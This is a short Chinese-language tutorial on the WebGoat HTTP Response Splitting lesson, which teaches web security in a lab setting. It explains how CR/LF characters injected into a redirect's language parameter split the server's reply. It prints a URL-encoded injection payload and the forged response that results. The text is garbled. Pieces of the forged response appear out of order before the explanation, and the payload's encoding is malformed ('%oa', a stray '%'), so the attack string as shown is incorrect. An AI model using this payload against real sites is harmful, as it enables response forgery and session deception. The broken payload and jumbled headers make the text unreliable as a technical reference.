webgoat介紹的第一個漏洞就是HTTP Response
Splitting。這個漏洞主要是因爲輸入的惡意指令在重定向某個頁面時產生攻擊。具體來說,攻擊者利用web應用程序缺乏有效地輸入驗證,允許攻擊者將CR和LF字符插入到響應頭,將服務器的迴應拆分成兩個不同的http消息頭。這樣攻擊者用第二個相應來實現攻擊。最常見就是選擇語言。重定向代碼如下:正常情況下,當用戶輸入其選擇的語言的時候,比如english,那麼會跳轉到/by_lang.jsp?lang=English頁面,其響應如下:
Hacked
Hacked Server: Apache Coyote/1.1 Content-Type: text/html
Set-Cookie:
JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE
Connection:Close
- HTTP/1.1 302 Moved Temporarily
- Date:Wed,24 Dec 2003 12:53:28
- Location: http://victim.com/by_lang.jsp?lang=english
- Server: Apache Coyote/1.1
- Content-Type: text/html
- Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE
- Connection:Close
從以上可以看到的是:輸入的參數(english)已經提交到HTTP頭中,這樣我們就可以構造特殊的字符來拆分HTTP頭,併到其後追加一個自己構造的頭。比如我們提交如下的參數(已經過URLEncoding):
- foobar Content-Length: 0 %oaHTTP/1.1 200 OK Content-Type: text/html %Content-Length: 19 Hacked
那麼服務器返回的響應如下:
- HTTP/1.1 302 Moved Temporarily
- Date:Wed,24 Dec 2003 15:26:41 GMT
- Location: http://victim.com/by_lang.jsp?lang=foobar
- Content-Length:0
- HTTP/1.1 200 OK
- Content-Type: text/html
- Content-length: 19
- Hacked
- Server: Apache Coyote/1.1
- Content-Type: text/html
- Set-Cookie: JSESSIONID=1PMRZOIQQzZIE6iivsREG82pq9B017h4YoHZ62RXjApqwBE
- Connection:Close
其中第一個響應是302
重定向的響應,第二個響應是我們自己構造的響應。當客戶端收到第一個響應之後會像相應頭的Location指向的目標發起第二個請求,而這個時候客戶端會認爲第二個響應正是針對第二個請求的響應,從而達到了欺騙的目的。